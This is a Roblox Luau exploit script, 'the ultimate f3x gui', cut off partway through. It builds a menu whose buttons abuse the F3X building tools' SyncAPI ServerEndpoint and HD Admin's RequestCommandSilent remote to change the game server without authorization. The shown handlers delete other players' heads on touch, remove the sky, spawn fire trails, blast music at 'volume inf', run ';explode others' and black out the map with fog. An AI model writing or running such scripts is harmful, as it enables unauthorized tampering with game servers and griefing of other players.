
KeylessUniversal

-- Instances: 22 | Scripts: 6 | Modules: 0 | Tags: 0
local LMG2L = {};
-- Players.D0manated.PlayerGui.ScreenGui
LMG2L["ScreenGui_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
LMG2L["ScreenGui_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
-- Players.D0manated.PlayerGui.ScreenGui.drag
LMG2L["drag_2"] = Instance.new("Frame", LMG2L["ScreenGui_1"]);
LMG2L["drag_2"]["Active"] = true;
LMG2L["drag_2"]["BorderSizePixel"] = 0;
LMG2L["drag_2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["drag_2"]["Size"] = UDim2.new(0.30689, 0, 0.03484, 0);
LMG2L["drag_2"]["Position"] = UDim2.new(0.34699, 0, 0.10105, 0);
LMG2L["drag_2"]["Name"] = [[drag]];
LMG2L["drag_2"]["BackgroundTransparency"] = 0.3;
-- Players.D0manated.PlayerGui.ScreenGui.drag.LocalScript
LMG2L["LocalScript_3"] = Instance.new("LocalScript", LMG2L["drag_2"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.f3x
LMG2L["f3x_4"] = Instance.new("TextLabel", LMG2L["drag_2"]);
LMG2L["f3x_4"]["TextWrapped"] = true;
LMG2L["f3x_4"]["BorderSizePixel"] = 0;
LMG2L["f3x_4"]["TextSize"] = 15;
LMG2L["f3x_4"]["TextScaled"] = true;
LMG2L["f3x_4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["f3x_4"]["BackgroundTransparency"] = 1;
LMG2L["f3x_4"]["Size"] = UDim2.new(1, 0, 1, 0);
LMG2L["f3x_4"]["Text"] = [[the ultimate f3x gui]];
LMG2L["f3x_4"]["Name"] = [[f3x]];
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame
LMG2L["Frame_5"] = Instance.new("Frame", LMG2L["drag_2"]);
LMG2L["Frame_5"]["BorderSizePixel"] = 0;
LMG2L["Frame_5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["Frame_5"]["Size"] = UDim2.new(1, 0, 7.9, 0);
LMG2L["Frame_5"]["Position"] = UDim2.new(0, 0, 1, 0);
LMG2L["Frame_5"]["BackgroundTransparency"] = 0.2;
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.John Doe
LMG2L["John Doe_6"] = Instance.new("TextButton", LMG2L["Frame_5"]);
LMG2L["John Doe_6"]["BorderSizePixel"] = 0;
LMG2L["John Doe_6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["John Doe_6"]["BackgroundTransparency"] = 0.5;
LMG2L["John Doe_6"]["Size"] = UDim2.new(0.1875, 0, 0.16456, 0);
LMG2L["John Doe_6"]["Text"] = [[John Doe]];
LMG2L["John Doe_6"]["Name"] = [[John Doe]];
LMG2L["John Doe_6"]["Position"] = UDim2.new(0.03409, 0, 0.05063, 0);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.John Doe.UICorner
LMG2L["UICorner_7"] = Instance.new("UICorner", LMG2L["John Doe_6"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.John Doe.LocalScript
LMG2L["LocalScript_8"] = Instance.new("LocalScript", LMG2L["John Doe_6"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.UICorner
LMG2L["UICorner_9"] = Instance.new("UICorner", LMG2L["Frame_5"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.AK-47
LMG2L["AK-47_a"] = Instance.new("TextButton", LMG2L["Frame_5"]);
LMG2L["AK-47_a"]["BorderSizePixel"] = 0;
LMG2L["AK-47_a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["AK-47_a"]["BackgroundTransparency"] = 0.5;
LMG2L["AK-47_a"]["Size"] = UDim2.new(0.1875, 0, 0.16456, 0);
LMG2L["AK-47_a"]["Text"] = [[AK-47]];
LMG2L["AK-47_a"]["Name"] = [[AK-47]];
LMG2L["AK-47_a"]["Position"] = UDim2.new(0.25568, 0, 0.05063, 0);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.AK-47.UICorner
LMG2L["UICorner_b"] = Instance.new("UICorner", LMG2L["AK-47_a"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.AK-47.LocalScript
LMG2L["LocalScript_c"] = Instance.new("LocalScript", LMG2L["AK-47_a"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.soul reaper
LMG2L["soul reaper_d"] = Instance.new("TextButton", LMG2L["Frame_5"]);
LMG2L["soul reaper_d"]["BorderSizePixel"] = 0;
LMG2L["soul reaper_d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["soul reaper_d"]["BackgroundTransparency"] = 0.5;
LMG2L["soul reaper_d"]["Size"] = UDim2.new(0.1875, 0, 0.16456, 0);
LMG2L["soul reaper_d"]["Text"] = [[Soul Reaper]];
LMG2L["soul reaper_d"]["Name"] = [[soul reaper]];
LMG2L["soul reaper_d"]["Position"] = UDim2.new(0.71023, 0, 0.05063, 0);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.soul reaper.UICorner
LMG2L["UICorner_e"] = Instance.new("UICorner", LMG2L["soul reaper_d"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.soul reaper.LocalScript
LMG2L["LocalScript_f"] = Instance.new("LocalScript", LMG2L["soul reaper_d"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.floating earth
LMG2L["floating earth_10"] = Instance.new("TextButton", LMG2L["Frame_5"]);
LMG2L["floating earth_10"]["BorderSizePixel"] = 0;
LMG2L["floating earth_10"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["floating earth_10"]["BackgroundTransparency"] = 0.5;
LMG2L["floating earth_10"]["Size"] = UDim2.new(0.1875, 0, 0.16456, 0);
LMG2L["floating earth_10"]["Text"] = [[earth]];
LMG2L["floating earth_10"]["Name"] = [[floating earth]];
LMG2L["floating earth_10"]["Position"] = UDim2.new(0.47727, 0, 0.05063, 0);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.floating earth.UICorner
LMG2L["UICorner_11"] = Instance.new("UICorner", LMG2L["floating earth_10"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.floating earth.LocalScript
LMG2L["LocalScript_12"] = Instance.new("LocalScript", LMG2L["floating earth_10"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.ORB
LMG2L["ORB_13"] = Instance.new("TextButton", LMG2L["Frame_5"]);
LMG2L["ORB_13"]["BorderSizePixel"] = 0;
LMG2L["ORB_13"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["ORB_13"]["BackgroundTransparency"] = 0.5;
LMG2L["ORB_13"]["Size"] = UDim2.new(0.1875, 0, 0.16456, 0);
LMG2L["ORB_13"]["Text"] = [[ORB]];
LMG2L["ORB_13"]["Name"] = [[ORB]];
LMG2L["ORB_13"]["Position"] = UDim2.new(0.03409, 0, 0.26582, 0);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.ORB.UICorner
LMG2L["UICorner_14"] = Instance.new("UICorner", LMG2L["ORB_13"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.ORB.LocalScript
LMG2L["LocalScript_15"] = Instance.new("LocalScript", LMG2L["ORB_13"]);
-- Players.D0manated.PlayerGui.ScreenGui.drag.UIAspectRatioConstraint
LMG2L["UIAspectRatioConstraint_16"] = Instance.new("UIAspectRatioConstraint", LMG2L["drag_2"]);
LMG2L["UIAspectRatioConstraint_16"]["AspectRatio"] = 17.6;
-- Players.D0manated.PlayerGui.ScreenGui.drag.LocalScript
local function C_3()
local script = LMG2L["LocalScript_3"];
local UserInputService = game:GetService("UserInputService")
local gui = script.Parent
local dragging
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
gui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end
gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
end;
task.spawn(C_3);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.John Doe.LocalScript
local function C_8()
local script = LMG2L["LocalScript_8"];
local button = script.Parent
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local DEBOUNCE_TIME = 0.25
local isDebounced = false
button.Activated:Connect(function()
if isDebounced then return end
isDebounced = true
function BurningEff(part)
local eff1 = Instance.new("ParticleEmitter",part)
eff1.Size = NumberSequence.new(.1)
eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff1.LightEmission = 1
eff1.Lifetime = NumberRange.new(1)
eff1.Speed = NumberRange.new(0)
eff1.Rate = 100
eff1.Texture = "rbxassetid://347504241"
eff1.Acceleration = Vector3.new(0,10,0)
eff1.Color = ColorSequence.new(Color3.new(1,0,0))
local eff2 = Instance.new("ParticleEmitter",part)
eff2.Size = NumberSequence.new(.1)
eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff2.LightEmission = 1
eff2.Lifetime = NumberRange.new(1)
eff2.Speed = NumberRange.new(0)
eff2.Rate = 100
eff2.Texture = "rbxassetid://347504259"
eff2.Acceleration = Vector3.new(0,10,0)
eff2.Color = ColorSequence.new(Color3.new(1,0,0))
local eff3 = Instance.new("ParticleEmitter",part)
eff3.Size = NumberSequence.new(1)
eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
eff3.LightEmission = 1
eff3.Lifetime = NumberRange.new(1)
eff3.Speed = NumberRange.new(0)
eff3.Rate = 100
eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
eff3.Acceleration = Vector3.new(0,10,0)
eff3.Color = ColorSequence.new(Color3.new(1,0,0))
end
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
blak=Color3.new(0,0,0)
local function Color(part, color)
local args = {
"SyncColor",
{
{
Part = part,
Color = color,
UnionColoring = false
}
}
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MoveVector(part,vector)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Offset"] = vector
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
local function applyDecorationToPart(part)
local argsCreate = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
local argsSync = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = 3,
["Heat"] = 25,
["Color"] = Color3.fromRGB(255, 0, 0),
["SecondaryColor"] = Color3.fromRGB(255, 0, 0)
}
}
}
_(argsCreate)
_(argsSync)
end
function eyePart(part)
local argsCreate = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
local argsSync = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = 1,
["Heat"] = 12,
["Color"] = Color3.fromRGB(155, 0, 0),
["SecondaryColor"] = Color3.fromRGB(255, 0, 0)
}
}
}
_(argsCreate)
_(argsSync)
end
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
--kill thingy
function thekille(target)
if target and target.Character then
for i,v in target.Character:GetDescendants() do
if v:IsA("BasePart") then
RequestCommand:InvokeServer(";paint "..target.Name.." black")
spawn(function()
Color(v,blak)
end)
spawn(function()
SetTrans(v,0.1)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.2)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.3)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.4)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.5)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.6)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.7)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.8)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.9)
end)
wait(0.5)
spawn(function()
SetTrans(v,1)
end)
wait(3)
spawn(function()
DestroyPart(v)
end)
end
end
end
end
wait(0.1)
local kill = Instance.new("Sound",char)
kill.SoundId = "rbxassetid://28144425"
kill.Pitch = 0.6
kill.Volume = 3
local at = kill:Clone()
at.SoundId="rbxassetid://82500396906354"
at.Parent = char
at.Volume = 0.5
local player = Players.LocalPlayer
local character = char
RequestCommand:InvokeServer(";titlebk me ᴊᴏʜɴ ᴅᴏᴇ")
RequestCommand:InvokeServer(";removeaccessories")
wait(1.5)
RequestCommand:InvokeServer(";hat me 18196403126")
wait(0.6)
RequestCommand:InvokeServer(";shirt me 100276101149100")
wait(0.9)
RequestCommand:InvokeServer(";pants me 109662040845019")
wait(0.5)
RequestCommand:InvokeServer(";head me 0")
wait(0.7)
RequestCommand:InvokeServer(";face me 144075659")
wait(0.3)
local eye = char:FindFirstChild("Accessory (JohnEye)").Handle
local arm = char:FindFirstChild("Right Arm")
local tor = char:FindFirstChild("Torso")
local ar2 = char:FindFirstChild("Left Arm")
local RLeg = char:FindFirstChild("Right Leg")
local head = char:FindFirstChild("Head")
local LLeg = char:FindFirstChild("Left Leg")
task.spawn(function()
applyDecorationToPart(arm)
end)
task.spawn(function()
applyDecorationToPart(ar2)
end)
task.spawn(function()
eyePart(eye)
end)
RequestCommand:InvokeServer(";music 17717379222 ;pitch 0.2 ;volume inf")
task.spawn(function()
Color(arm, Color3.fromRGB(0,0,0))
end)
task.spawn(function()
Color(ar2, Color3.fromRGB(252, 255, 150))
end)
task.spawn(function()
Color(head, Color3.fromRGB(252, 255, 150))
end)
task.spawn(function()
Color(tor, Color3.fromRGB(255, 255, 0))
end)
task.spawn(function()
Color(RLeg, Color3.fromRGB(0, 200, 255))
end)
task.spawn(function()
Color(LLeg, Color3.fromRGB(0, 200, 255))
end)
task.spawn(function()
AddMesh(arm)
end)
task.spawn(function()
SetMesh(arm,"94818190090394")
end)
task.spawn(function()
MoveVector(arm,Vector3.new(0.37, -0.6, 0))
end)
local arm = character:FindFirstChild("Right Arm")
local humanoid = character:FindFirstChildOfClass("Humanoid")
local isDead = false
humanoid.Died:Connect(function()
isDead = true
end)
local animator = humanoid:FindFirstChildOfClass("Animator")
local attackAnim = Instance.new("Animation")
attackAnim.AnimationId = "rbxassetid://186934658"
local attackTrack = animator:LoadAnimation(attackAnim)
function attack()
attackTrack:Play()
local hitPlayer = nil
local touchedConnection
local function onTouch(other)
local otherPlayer = Players:GetPlayerFromCharacter(other.Parent)
if otherPlayer and otherPlayer ~= player then
hitPlayer = otherPlayer
end
end
touchedConnection = arm.Touched:Connect(onTouch)
task.wait(0.5)
if touchedConnection then
touchedConnection:Disconnect()
end
if hitPlayer then
d = at:Clone()
d:Play()
d.Parent = char
spawn(function()
wait(5)
d:Destroy()
end)
task.spawn(DestroyPart,hitPlayer.Character.Head)
else
d = kill:Clone()
d:Play()
d.Parent = char
wait(5)
d:Destroy()
end
end
UserInputService.TouchTap:Connect(function(input, gameProcessed)
if gameProcessed then return end
if isDead then return end
attack()
end)
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function fire(part)
local argsCreate = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
local argsSync = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = 10,
["Heat"] = 0,
["Color"] = Color3.fromRGB(255, 0, 0),
["SecondaryColor"] = Color3.fromRGB(255, 0, 0)
}
}
}
_(argsCreate)
_(argsSync)
end
function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part, cf)
local args = {
"SyncMove",
{
{
Part = part,
CFrame = cf
}
}
}
_(args)
end
local function resize(part, size, cf)
local args = {
"SyncResize",
{
{
Part = part,
CFrame = cf,
Size = size
}
}
}
_(args)
end
local function syncmaterial(part, mate)
local args = {
"SyncMaterial",
{
{
Part = part,
Material = mate
}
}
}
_(args)
end
local function transparency(part, trans)
local args = {
"SyncMaterial",
{
{
Part = part,
Transparency = trans
}
}
}
_(args)
end
local function color(part, color)
local args = {
"SyncColor",
{
{
Part = part,
Color = color,
UnionColoring = false
}
}
}
_(args)
end
local function syncmeshid(part, id)
local args = {
"SyncMesh",
{
{
Part = part,
MeshId = "rbxassetid://" .. id
}
}
}
_(args)
end
function destroy(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
local function makemesh(part)
local args = {
"CreateMeshes",
{
{
Part = part
}
}
}
_(args)
end
local function syncmeshsize(part, vectora)
local args = {
"SyncMesh",
{
{
Part = part,
Scale = vectora
}
}
}
_(args)
end
local function syncmeshtexture(part, id)
local args = {
"SyncMesh",
{
{
Part = part,
TextureId = "rbxassetid://" .. id
}
}
}
_(args)
end
local function name(part, stringa)
local args = {
"SetName",
{ part },
stringa
}
_(args)
end
local function lock(part, boolean)
local args = {
"SetLocked",
{ part },
boolean
}
_(args)
end
local function setcollision(part, booleana)
local args = {
"SyncCollision",
{
{
Part = part,
CanCollide = booleana
}
}
}
_(args)
end
local function setanchor(part, boolean)
local args = {
"SyncAnchor",
{
{
Part = part,
Anchored = boolean
}
}
}
_(args)
end
local function createdecal(part, side)
local args = {
"CreateTextures",
{
{
Part = part,
Face = side,
TextureType = "Decal"
}
}
}
_(args)
end
local function setdecal(part, asset, side)
local args = {
"SyncTexture",
{
{
Part = part,
Face = side,
TextureType = "Decal",
Texture = "rbxassetid://" .. asset
}
}
}
_(args)
end
task.spawn(function()
while task.wait(0.02) do
task.spawn(function()
local hrp = char.HumanoidRootPart
local pos = hrp.CFrame * CFrame.new(0, -3, 0)
local trail = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(0,0,0), char)
task.spawn(function()
setcollision(trail, false)
end)
task.spawn(function()
syncmaterial(trail, Enum.Material.Granite)
end)
task.spawn(function()
color(trail, Color3.new(0, 0, 0))
end)
task.spawn(function()
resize(trail, Vector3.new(10,0,10), pos)
end)
task.spawn(function()
fire(trail)
end)
BurningEff(trail)
task.wait(1)
delete(trail)
end)
end
end)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
local RunService = game:GetService("RunService")
local rotatetypeshii = Vector3.new(0, 1, 0).Unit
local skypartrotation = 0
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function reflect(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Reflectance"] = int
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function MeshColor(part,color)
local args = {
"SyncMesh",
{
{
Part = part,
VertexColor = color
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function Setmate(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function ClonePart(part,parent)
local args = {
[1] = "Clone",
[2] = {
[1] = part
},
[3] = parent
}
return remote:InvokeServer(unpack(args))
end
function Sky(id)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
local function findBuildingTools()
local player = game:GetService("Players").LocalPlayer
for _, item in ipairs(player.Character:GetChildren()) do
if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
return item
end
end
for _, item in ipairs(player.Backpack:GetChildren()) do
if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
return item
end
end
return nil
end
local buildingTools = findBuildingTools()
if not buildingTools then
warn("btools not found")
return
end
local syncAPI = buildingTools:FindFirstChild("SyncAPI")
local serverEndpoint = syncAPI and syncAPI:FindFirstChild("ServerEndpoint")
if not serverEndpoint then
warn("btools not found")
return
end
local skyInstance = workspace.Terrain:FindFirstChild("Sky") or workspace:FindFirstChild("Sky")
if not skyInstance then
print"ok"
end
spawn(function()
DestroyPart(skyInstance)
end)
local success, result
if serverEndpoint:IsA("RemoteFunction") then
success, result = pcall(function()
return serverEndpoint:InvokeServer(unpack(args))
end)
else
serverEndpoint:FireServer(unpack(args))
success = true
end
if success then
print"yay"
end
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
mhm = CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,-5,0)
v = remote:InvokeServer("CreatePart","Normal",mhm,char)
task.spawn(function()
SetName(v,"johnbeep")
end)
task.spawn(function()
AddMesh(v)
end)
task.spawn(function()
rq:InvokeServer(";time 0")
end)
task.spawn(function()
Resize(v,Vector3.new(0,0,0),v.CFrame)
end)
task.spawn(function()
SetMesh(v,"1527559")
end)
task.spawn(function()
MeshColor(v,vector.create(2,0,0))
end)
task.spawn(function()
SetTexture(v,id)
end)
task.spawn(function()
MeshResize(v,Vector3.new(-3000,-1000,-3000))
end)
task.spawn(function()
SetLocked(v,true)
end)
local rotationAngle = 5
local rotationSpeed = math.rad(20)
RunService.Heartbeat:Connect(function(deltaTime)
rotationAngle = rotationAngle + rotationSpeed * deltaTime
local rotation = CFrame.Angles(0, rotationAngle, 0)
local cf = CFrame.new(v.Position) * rotation
task.spawn(function()
MovePart(v, cf)
end)
end)
end
Sky("1529455")
while true do
wait(0.1)
if character:FindFirstChildOfClass("Humanoid").Health <= 0 then
RequestCommand:InvokeServer(";titler me BAD CHOICE")
ClonePart(character.Head,workspace.Terrain)
wait(0.1)
local bg = workspace.Terrain.Head
task.spawn(function()
DestroyPart(bg.face)
end)
task.spawn(function()
SetTrans(bg,1)
end)
ClonePart(character.johnbeep,workspace.Terrain)
spawn(function()
MeshColor(workspace.Terrain.johnbeep,vector.create(0,0,0))
end)
task.spawn(function()
MeshResize(workspace.Terrain.johnbeep,Vector3.new(-50000,-50000,-50000))
end)
RequestCommand:InvokeServer(";explode others")
RequestCommand:InvokeServer(";music 17717379222")
RequestCommand:InvokeServer(";volume 10")
wait(4)
RequestCommand:InvokeServer(";music 19094700")
RequestCommand:InvokeServer(";pitch 0.5")
RequestCommand:InvokeServer(";volume 3")
wait(0.8)
RequestCommand:InvokeServer(";fogcolor black")
RequestCommand:InvokeServer(";fog 3000")
break
end
end
task.delay(DEBOUNCE_TIME, function()
isDebounced = false
end)
end)
end;
task.spawn(C_8);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.AK-47.LocalScript
local function C_c()
local script = LMG2L["LocalScript_c"];
local button = script.Parent
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local DEBOUNCE_TIME = 0.25
local isDebounced = false
button.Activated:Connect(function()
if isDebounced then return end
isDebounced = true
local soundlist = {
HardHit1 = "rbxassetid://565207203",
HardHit2 = "rbxassetid://541909913",
HardHit3 = "rbxassetid://541909983",
WeakHit1 = "rbxassetid://558642292",
WeakHit2 = "rbxassetid://541907812",
Slice1 = "rbxassetid://260429964",
Slice2 = "rbxassetid://260430015",
Explosion1 = "rbxassetid://138186576",
Explosion2 = "rbxassetid://157878578",
Woosh1 = "rbxassetid://541909867",
Woosh2 = "rbxassetid://541909763"
}
function swait(t)
if t then
for i = 0, t do
game:GetService('RunService').Stepped:wait(0)
end
else
game:GetService('RunService').Stepped:wait(0)
end
return true
end
function soundeffect(id, volume, speed, parent, forcewait)
local func = function()
local s = Instance.new('Sound')
s.Name = "SoundEffect"
s.Volume = volume
s.PlaybackSpeed = speed
s.SoundId = id
s.Looped = false
s.Parent = parent
s:Play()
repeat wait() until not s.Playing
s:Destroy()
end
if forcewait then
func()
else
spawn(func)
end
end
local RunService = game:GetService("RunService")
function specialsound(id, volume, speed, parent, starts, ends)
local func = function()
local s = LoadLibrary("RbxUtility").Create("Sound")()
s.Name = "SoundEffect"
s.Volume = volume
s.PlaybackSpeed = speed
s.SoundId = id
s.TimePosition = starts
s.Looped = false
s.Parent = parent
s:Play()
repeat swait() until s.TimePosition >= ends
s:Destroy()
end
spawn(func)
end
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
u=game:GetService("UserInputService")
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
spawn(function()
return remote:InvokeServer(unpack(args))
end)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
return _(args)
end
function MovePart(part,cf)
local args = {
